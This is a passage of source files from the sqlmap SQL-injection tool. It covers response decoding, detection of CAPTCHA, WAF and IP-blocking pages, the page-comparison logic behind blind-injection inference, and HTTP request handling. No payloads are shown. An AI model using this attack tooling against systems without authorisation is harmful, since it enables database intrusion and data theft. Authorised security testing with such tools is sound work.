encoding.startswith("windows-"): encoding = "windows-%s" % encoding[7:] elif encoding.find("iso-88") > 0: encoding = encoding[encoding.find("iso-88"):] elif encoding.startswith("is0-"): encoding = "iso%s" % encoding[4:] elif encoding.find("ascii") > 0: encoding = "ascii" elif encoding.find("utf8") > 0: encoding = "utf8" elif encoding.find("utf-8") > 0: encoding = "utf-8" # Reference: http://philip.html5.org/data/charsets-2.html if encoding in translate: encoding = translate[encoding] elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding): return None # Reference: http://www.iana.org/assignments/character-sets # Reference: http://docs.python.org/library/codecs.html try: codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding) except (LookupError, ValueError): if warn and ' ' not in encoding: warnMsg = "unknown web page charset '%s'. " % encoding warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS singleTimeLogMessage(warnMsg, logging.WARN, encoding) encoding = None if encoding: try: unicode(randomStr(), encoding) except: if warn: warnMsg = "invalid web page charset '%s'" % encoding singleTimeLogMessage(warnMsg, logging.WARN, encoding) encoding = None return encoding def getHeuristicCharEncoding(page): """ Returns page encoding charset detected by usage of heuristics Reference: http://chardet.feedparser.org/docs/ """ key = hash(page) retVal = kb.cache.encoding.get(key) or detect(page)["encoding"] kb.cache.encoding[key] = retVal if retVal: infoMsg = "heuristics detected web page charset '%s'" % retVal singleTimeLogMessage(infoMsg, logging.INFO, retVal) return retVal def decodePage(page, contentEncoding, contentType): """ Decode compressed/charset HTTP response """ if not page or (conf.nullConnection and len(page) < 2): return getUnicode(page) if isinstance(contentEncoding, basestring) and contentEncoding: contentEncoding = contentEncoding.lower() else: contentEncoding = "" if isinstance(contentType, basestring) and contentType: contentType = contentType.lower() else: contentType = "" if contentEncoding in ("gzip", "x-gzip", "deflate"): if not kb.pageCompress: return None try: if contentEncoding == "deflate": data = StringIO.StringIO(zlib.decompress(page, -15)) # Reference: http://stackoverflow.com/questions/1089662/python-inflate-and-deflate-implementations else: data = gzip.GzipFile("", "rb", 9, StringIO.StringIO(page)) size = struct.unpack(" MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") page = data.read() except Exception, msg: if " 255 else _.group(0), page) return page def processResponse(page, responseHeaders, status=None): kb.processResponseCounter += 1 page = page or "" parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None, status) if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,): kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page) else: kb.tableFrom = None if conf.parseErrors: msg = extractErrorMessage(page) if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) if kb.originalPage is None: for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX): match = re.search(regex, page) if match and PLACE.POST in conf.parameters: name, value = match.groups() if PLACE.POST in conf.paramDict and name in conf.paramDict[PLACE.POST]: if conf.paramDict[PLACE.POST][name] in page: continue else: msg = "do you want to automatically adjust the value of '%s'? [y/N]" % name if not readInput(msg, default='N', boolean=True): continue conf.paramDict[PLACE.POST][name] = value conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST]) if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): kb.browserVerification = True warnMsg = "potential browser verification protection mechanism detected" if re.search(r"(?i)CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""): for match in re.finditer(r"(?si)", page): if re.search(r"(?i)captcha", match.group(0)): kb.captchaDetected = True warnMsg = "potential CAPTCHA protection mechanism detected" if re.search(r"(?i)[^<]*CloudFlare", page): warnMsg += " (CloudFlare)" singleTimeWarnMessage(warnMsg) break if re.search(BLOCKED_IP_REGEX, page): warnMsg = "it appears that you have been blocked by the target server" singleTimeWarnMessage(warnMsg) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/basicauthhandler.py��������������������������������������������������������0000664�0000000�0000000�00000002444�13260122637�0021132�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import urllib2 class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler): """ Reference: http://selenic.com/hg/rev/6c51a5056020 Fix for a: http://bugs.python.org/issue8797 """ def __init__(self, *args, **kwargs): urllib2.HTTPBasicAuthHandler.__init__(self, *args, **kwargs) self.retried_req = set() self.retried_count = 0 def reset_retry_count(self): # Python 2.6.5 will call this on 401 or 407 errors and thus loop # forever. We disable reset_retry_count completely and reset in # http_error_auth_reqed instead. pass def http_error_auth_reqed(self, auth_header, host, req, headers): # Reset the retry counter once for each request. if hash(req) not in self.retried_req: self.retried_req.add(hash(req)) self.retried_count = 0 else: if self.retried_count > 5: raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) else: self.retried_count += 1 return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/comparison.py��������������������������������������������������������������0000664�0000000�0000000�00000015300�13260122637�0017776�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import extractRegexResult from lib.core.common import getFilteredPageContent from lib.core.common import listToStrValue from lib.core.common import removeDynamicContent from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseHTTPError from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapNoneDataException from lib.core.settings import DEFAULT_PAGE_ENCODING from lib.core.settings import DIFF_TOLERANCE from lib.core.settings import HTML_TITLE_REGEX from lib.core.settings import MIN_RATIO from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_RATIO from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import LOWER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData def comparison(page, headers, code=None, getRatioValue=False, pageLength=None): _ = _adjust(_comparison(page, headers, code, getRatioValue, pageLength), getRatioValue) return _ def _adjust(condition, getRatioValue): if not any((conf.string, conf.notString, conf.regexp, conf.code)): # Negative logic approach is used in raw page comparison scheme as that what is "different" than original # PAYLOAD.WHERE.NEGATIVE response is considered as True; in switch based approach negative logic is not # applied as that what is by user considered as True is that what is returned by the comparison mechanism # itself retVal = not condition if kb.negativeLogic and condition is not None and not getRatioValue else condition else: retVal = condition if not getRatioValue else (MAX_RATIO if condition else MIN_RATIO) return retVal def _comparison(page, headers, code, getRatioValue, pageLength): threadData = getCurrentThreadData() if kb.testMode: threadData.lastComparisonHeaders = listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "" threadData.lastComparisonPage = page threadData.lastComparisonCode = code if page is None and pageLength is None: return None if any((conf.string, conf.notString, conf.regexp)): rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page) # String to match in page when the query is True and/or valid if conf.string: return conf.string in rawResponse # String to match in page when the query is False and/or invalid if conf.notString: return conf.notString not in rawResponse # Regular expression to match in page when the query is True and/or valid if conf.regexp: return re.search(conf.regexp, rawResponse, re.I | re.M) is not None # HTTP code to match when the query is valid if conf.code: return conf.code == code seqMatcher = threadData.seqMatcher seqMatcher.set_seq1(kb.pageTemplate) if page: # In case of an DBMS error page return None if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: return None # Dynamic content lines to be excluded before comparison if not kb.nullConnection: page = removeDynamicContent(page) seqMatcher.set_seq1(removeDynamicContent(kb.pageTemplate)) if not pageLength: pageLength = len(page) if kb.nullConnection and pageLength: if not seqMatcher.a: errMsg = "problem occurred while retrieving original page content " errMsg += "which prevents sqlmap from continuation. Please rerun, " errMsg += "and if the problem persists turn off any optimization switches" raise SqlmapNoneDataException(errMsg) ratio = 1. * pageLength / len(seqMatcher.a) if ratio > 1.: ratio = 1. / ratio else: # Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # (e.g. if one page is PDF and the other is HTML) if isinstance(seqMatcher.a, str) and isinstance(page, unicode): page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") elif isinstance(seqMatcher.a, unicode) and isinstance(page, str): seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore") if any(_ is None for _ in (page, seqMatcher.a)): return None elif seqMatcher.a and page and seqMatcher.a == page: ratio = 1. elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)): if not page or not seqMatcher.a: return float(seqMatcher.a == page) else: ratio = 1. * len(seqMatcher.a) / len(page) if ratio > 1: ratio = 1. / ratio else: seq1, seq2 = None, None if conf.titles: seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a) seq2 = extractRegexResult(HTML_TITLE_REGEX, page) else: seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a seq2 = getFilteredPageContent(page, True) if conf.textOnly else page if seq1 is None or seq2 is None: return None seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") seqMatcher.set_seq1(seq1) seqMatcher.set_seq2(seq2) ratio = round(seqMatcher.quick_ratio(), 3) # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content if kb.matchRatio is None: if ratio >= LOWER_RATIO_BOUND and ratio <= UPPER_RATIO_BOUND: kb.matchRatio = ratio logger.debug("setting match ratio for current parameter to %.3f" % kb.matchRatio) if kb.testMode: threadData.lastComparisonRatio = ratio # If it has been requested to return the ratio and not a comparison # response if getRatioValue: return ratio elif ratio > UPPER_RATIO_BOUND: return True elif ratio < LOWER_RATIO_BOUND: return False elif kb.matchRatio is None: return None else: return (ratio - kb.matchRatio) > DIFF_TOLERANCE ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/lib/request/connect.py�����������������������������������������������������������������0000664�0000000�0000000�00000171525�13260122637�0017271�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import binascii import compiler import httplib import json import keyword import logging import re import socket import string import struct import time import traceback import urllib2 import urlparse try: import websocket from websocket import WebSocketException except ImportError: class WebSocketException(Exception): pass from extra.safe2bin.safe2bin import safecharencode from lib.core.agent import agent from lib.core.common import asciifyUrl from lib.core.common import calculateDeltaSeconds from lib.core.common import checkSameHost from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout from lib.core.common import evaluateCode from lib.core.common import extractRegexResult from lib.core.common import findMultipartPostBoundary from lib.core.common import getCurrentThreadData from lib.core.common import getHeader from lib.core.common import getHostHeader from lib.core.common import getRequestHeader from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import logHTTPTraffic from lib.core.common import pushValue from lib.core.common import popValue from lib.core.common import randomizeParameterValue from lib.core.common import randomInt from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import removeReflectiveValues from lib.core.common import safeVariableNaming from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import stdev from lib.core.common import wasLastResponseDelayed from lib.core.common import unicodeencode from lib.core.common import unsafeVariableNaming from lib.core.common import urldecode from lib.core.common import urlencode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.enums import REDIRECTION from lib.core.enums import WEB_API from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapTokenException from lib.core.exception import SqlmapValueException from lib.core.settings import ASTERISK_MARKER from lib.core.settings import BOUNDARY_BACKSLASH_MARKER from lib.core.settings import DEFAULT_CONTENT_TYPE from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import EVALCODE_KEYWORD_SUFFIX from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE from lib.core.settings import MAX_CONNECTION_CHUNK_SIZE from lib.core.settings import MAX_CONNECTIONS_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import MAX_CONSECUTIVE_CONNECTION_ERRORS from lib.core.settings import MAX_MURPHY_SLEEP_TIME from lib.core.settings import META_REFRESH_REGEX from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import IS_WIN from lib.core.settings import LARGE_CHUNK_TRIM_MARKER from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PERMISSION_DENIED_REGEX from lib.core.settings import PLAIN_TEXT_CONTENT_TYPE from lib.core.settings import RANDOM_INTEGER_MARKER from lib.core.settings import RANDOM_STRING_MARKER from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import TEXT_CONTENT_TYPE_REGEX from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import WARN_TIME_STDEV from lib.request.basic import decodePage from lib.request.basic import forgeHeaders from lib.request.basic import processResponse from lib.request.direct import direct from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest from thirdparty.odict.odict import OrderedDict from thirdparty.socks.socks import ProxyError class Connect(object): """ This class defines methods used to perform HTTP requests """ @staticmethod def _getPageProxy(**kwargs): try: return Connect.getPage(**kwargs) except RuntimeError: return None, None, None @staticmethod def _retryProxy(**kwargs): threadData = getCurrentThreadData() threadData.retriesCount += 1 if conf.proxyList and threadData.retriesCount >= conf.retries: warnMsg = "changing proxy" logger.warn(warnMsg) conf.proxy = None threadData.retriesCount = 0 setHTTPHandlers() if kb.testMode and kb.previousMethod == PAYLOAD.METHOD.TIME: # timed based payloads can cause web server unresponsiveness # if the injectable piece of code is some kind of JOIN-like query warnMsg = "most likely web server instance hasn't recovered yet " warnMsg += "from previous timed based payload. If the problem " warnMsg += "persists please wait for a few minutes and rerun " warnMsg += "without flag 'T' in option '--technique' " warnMsg += "(e.g. '--flush-session --technique=BEUS') or try to " warnMsg += "lower the value of option '--time-sec' (e.g. '--time-sec=2')" singleTimeWarnMessage(warnMsg) elif kb.originalPage is None: if conf.tor: warnMsg = "please make sure that you have " warnMsg += "Tor installed and running so " warnMsg += "you could successfully use " warnMsg += "switch '--tor' " if IS_WIN: warnMsg += "(e.g. 'https://www.torproject.org/download/download.html.en')" else: warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')" else: warnMsg = "if the problem persists please check that the provided " warnMsg += "target URL is valid. In case that it is, you can try to rerun " warnMsg += "with the switch '--random-agent' turned on " warnMsg += "and/or proxy switches ('--ignore-proxy', '--proxy',...)" singleTimeWarnMessage(warnMsg) elif conf.threads > 1: warnMsg = "if the problem persists please try to lower " warnMsg += "the number of used threads (option '--threads')" singleTimeWarnMessage(warnMsg) kwargs['retrying'] = True return Connect._getPageProxy(**kwargs) @staticmethod def _connReadProxy(conn): retVal = "" if not kb.dnsMode and conn: headers = conn.info() if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: warnMsg = "large compressed response detected. Disabling compression" singleTimeWarnMessage(warnMsg) kb.pageCompress = False raise SqlmapCompressionException else: while True: if not conn: break else: _ = conn.read(MAX_CONNECTION_CHUNK_SIZE) if len(_) == MAX_CONNECTION_CHUNK_SIZE: warnMsg = "large response detected. This could take a while" singleTimeWarnMessage(warnMsg) _ = re.sub(r"(?si)%s.+?%s" % (kb.chars.stop, kb.chars.start), "%s%s%s" % (kb.chars.stop, LARGE_CHUNK_TRIM_MARKER, kb.chars.start), _) retVal += _ else: retVal += _ break if len(retVal) > MAX_CONNECTION_TOTAL_SIZE: warnMsg = "too large response detected. Automatically trimming it" singleTimeWarnMessage(warnMsg) break return retVal @staticmethod def getPage(**kwargs): """ This method connects to the target URL or proxy and returns the target URL page content """ start = time.time() if isinstance(conf.delay, (int, float)) and conf.delay > 0: time.sleep(conf.delay) if conf.offline: return None, None, None elif conf.dummy or conf.murphyRate and randomInt() % conf.murphyRate == 0: if conf.murphyRate: time.sleep(randomInt() % (MAX_MURPHY_SLEEP_TIME + 1)) return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3) threadData = getCurrentThreadData() with kb.locks.request: kb.requestCounter += 1 threadData.lastRequestUID = kb.requestCounter url = kwargs.get("url", None) or conf.url get = kwargs.get("get", None) post = kwargs.get("post", None) method = kwargs.get("method", None) cookie = kwargs.get("cookie", None) ua = kwargs.get("ua", None) or conf.agent referer = kwargs.get("referer", None) or conf.referer host = kwargs.get("host", None) or conf.host direct_ = kwargs.get("direct", False) multipart = kwargs.get("multipart", None) silent = kwargs.get("silent", False) raise404 = kwargs.get("raise404", True) timeout = kwargs.get("timeout", None) or conf.timeout auxHeaders = kwargs.get("auxHeaders", None) response = kwargs.get("response", False) ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts refreshing = kwargs.get("refreshing", False) retrying = kwargs.get("retrying", False) crawling = kwargs.get("crawling", False) checking = kwargs.get("checking", False) skipRead = kwargs.get("skipRead", False) if multipart: post = multipart websocket_ = url.lower().startswith("ws") if not urlparse.urlsplit(url).netloc: url = urlparse.urljoin(conf.url, url) # flag to know if we are dealing with the same target host target = checkSameHost(url, conf.url) if not retrying: # Reset the number of connection retries threadData.retriesCount = 0 # fix for known issue when urllib2 just skips the other part of provided # url splitted with space char while urlencoding it in the later phase url = url.replace(" ", "%20") if "://" not in url: url = "http://%s" % url conn = None page = None code = None status = None _ = urlparse.urlsplit(url) requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url) responseMsg = u"HTTP response " requestHeaders = u"" responseHeaders = None logHeaders = u"" skipLogTraffic = False raise404 = raise404 and not kb.ignoreNotFound # support for non-latin (e.g. cyrillic) URLs as urllib/urllib2 doesn't # support those by default url = asciifyUrl(url) try: socket.setdefaulttimeout(timeout) if direct_: if '?' in url: url, params = url.split('?', 1) params = urlencode(params) url = "%s?%s" % (url, params) elif any((refreshing, crawling, checking)): pass elif target: if conf.forceSSL and urlparse.urlparse(url).scheme != "https": url = re.sub(r"(?i)\Ahttp:", "https:", url) url = re.sub(r"(?i):80/", ":443/", url) if PLACE.GET in conf.parameters and not get: get = conf.parameters[PLACE.GET] if not conf.skipUrlEncode: get = urlencode(get, limit=True) if get: if '?' in url: url = "%s%s%s" % (url, DEFAULT_GET_POST_DELIMITER, get) requestMsg += "%s%s" % (DEFAULT_GET_POST_DELIMITER, get) else: url = "%s?%s" % (url, get) requestMsg += "?%s" % get if PLACE.POST in conf.parameters and not post and method != HTTPMETHOD.GET: post = conf.parameters[PLACE.POST] elif get: url = "%s?%s" % (url, get) requestMsg += "?%s" % get requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str # Prepare HTTP headers headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {}) if HTTP_HEADER.COOKIE in headers: cookie = headers[HTTP_HEADER.COOKIE] if kb.authHeader: headers[HTTP_HEADER.AUTHORIZATION] = kb.authHeader if kb.proxyAuthHeader: headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader if not getHeader(headers, HTTP_HEADER.ACCEPT): headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE if not getHeader(headers, HTTP_HEADER.HOST) or not target: headers[HTTP_HEADER.HOST] = getHostHeader(url) if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE) if headers.get(HTTP_HEADER.CONTENT_TYPE) == POST_HINT_CONTENT_TYPES[POST_HINT.MULTIPART]: warnMsg = "missing 'boundary parameter' in '%s' header. " % HTTP_HEADER.CONTENT_TYPE warnMsg += "Will try to reconstruct" singleTimeWarnMessage(warnMsg) boundary = findMultipartPostBoundary(conf.data) if boundary: headers[HTTP_HEADER.CONTENT_TYPE] = "%s; boundary=%s" % (headers[HTTP_HEADER.CONTENT_TYPE], boundary) if conf.keepAlive: headers[HTTP_HEADER.CONNECTION] = "keep-alive" # Reset header values to original in case of provided request file if target and conf.requestFile: headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie}) if auxHeaders: headers = forgeHeaders(auxHeaders, headers) for key, value in headers.items(): del headers[key] value = unicodeencode(value, kb.pageEncoding) for char in (r"\r", r"\n"): value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", value) headers[unicodeencode(key, kb.pageEncoding)] = value.strip("\r\n") url = unicodeencode(url) post = unicodeencode(post) if websocket_: ws = websocket.WebSocket() ws.settimeout(timeout) ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically ws.send(urldecode(post or "")) page = ws.recv() ws.close() code = ws.status status = httplib.responses[code] class _(dict): pass responseHeaders = _(ws.getheaders()) responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) requestMsg += "\r\n%s" % requestHeaders if post is not None: requestMsg += "\r\n\r\n%s" % getUnicode(post) requestMsg += "\r\n" threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) else: if method and method not in (HTTPMETHOD.GET, HTTPMETHOD.POST): method = unicodeencode(method) req = MethodRequest(url, post, headers) req.set_method(method) else: req = urllib2.Request(url, post, headers) requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()]) if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) cookies = conf.cj._cookies_for_request(req) requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) if post is not None: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH): requestHeaders += "\r\n%s: %d" % (string.capwords(HTTP_HEADER.CONTENT_LENGTH), len(post)) if not getRequestHeader(req, HTTP_HEADER.CONNECTION): requestHeaders += "\r\n%s: %s" % (HTTP_HEADER.CONNECTION, "close" if not conf.keepAlive else "keep-alive") requestMsg += "\r\n%s" % requestHeaders if post is not None: requestMsg += "\r\n\r\n%s" % getUnicode(post) requestMsg += "\r\n" if not multipart: threadData.lastRequestMsg = requestMsg logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) if conf.cj: for cookie in conf.cj: if cookie.value is None: cookie.value = "" else: for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) conn = urllib2.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) if not kb.proxyAuthHeader and getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION): kb.proxyAuthHeader = getRequestHeader(req, HTTP_HEADER.PROXY_AUTHORIZATION) # Return response object if response: return conn, None, None # Get HTTP response if hasattr(conn, "redurl"): page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None skipLogTraffic = kb.redirectChoice == REDIRECTION.NO code = conn.redcode else: page = Connect._connReadProxy(conn) if not skipRead else None if conn: code = conn.code responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() else: code = None responseHeaders = {} page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) status = getUnicode(conn.msg) if conn else None kb.connErrorCounter = 0 if not refreshing: refresh = responseHeaders.get(HTTP_HEADER.REFRESH, "").split("url=")[-1].strip() if extractRegexResult(META_REFRESH_REGEX, page): refresh = extractRegexResult(META_REFRESH_REGEX, page) debugMsg = "got HTML meta refresh header" logger.debug(debugMsg) if refresh: if kb.alwaysRefresh is None: msg = "sqlmap got a refresh request " msg += "(redirect like response common to login pages). " msg += "Do you want to apply the refresh " msg += "from now on (or stay on the original page)? [Y/n]" kb.alwaysRefresh = readInput(msg, default='Y', boolean=True) if kb.alwaysRefresh: if re.search(r"\Ahttps?://", refresh, re.I): url = refresh else: url = urlparse.urljoin(url, refresh) threadData.lastRedirectMsg = (threadData.lastRequestUID, page) kwargs["refreshing"] = True kwargs["url"] = url kwargs["get"] = None kwargs["post"] = None try: return Connect._getPageProxy(**kwargs) except SqlmapSyntaxException: pass # Explicit closing of connection object if conn and not conf.keepAlive: try: if hasattr(conn.fp, '_sock'): conn.fp._sock.close() conn.close() except Exception, ex: warnMsg = "problem occurred during connection closing ('%s')" % getSafeExString(ex) logger.warn(warnMsg) except SqlmapConnectionException, ex: if conf.proxyList and not kb.threadException: warnMsg = "unable to connect to the target URL ('%s')" % ex logger.critical(warnMsg) threadData.retriesCount = conf.retries return Connect._retryProxy(**kwargs) else: raise except urllib2.HTTPError, ex: page = None responseHeaders = None if checking: return None, None, None try: page = ex.read() if not skipRead else None responseHeaders = ex.info() responseHeaders[URI_HTTP_HEADER] = ex.geturl() page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) except socket.timeout: warnMsg = "connection timed out while trying " warnMsg += "to get error page information (%d)" % ex.code logger.warn(warnMsg) return None, None, None except KeyboardInterrupt: raise except: pass finally: page = page if isinstance(page, unicode) else getUnicode(page) code = ex.code status = getUnicode(ex.msg) kb.originalCode = kb.originalCode or code threadData.lastHTTPError = (threadData.lastRequestUID, code, status) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) logHTTPTraffic(requestMsg, "%s%s\r\n\r\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]), start, time.time()) skipLogTraffic = True if conf.verbose <= 5: responseMsg += getUnicode(logHeaders) elif conf.verbose > 5: responseMsg += "%s\r\n\r\n%s" % (logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]) if not multipart: logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) if ex.code != conf.ignoreCode: if ex.code == httplib.UNAUTHORIZED: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise SqlmapConnectionException(errMsg) elif ex.code == httplib.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code raise SqlmapConnectionException(errMsg) else: debugMsg = "page not found (%d)" % code singleTimeLogMessage(debugMsg, logging.DEBUG) elif ex.code == httplib.GATEWAY_TIMEOUT: if ignoreTimeout: return None if not conf.ignoreTimeouts else "", None, None else: warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code]) if threadData.retriesCount < conf.retries and not kb.threadException: 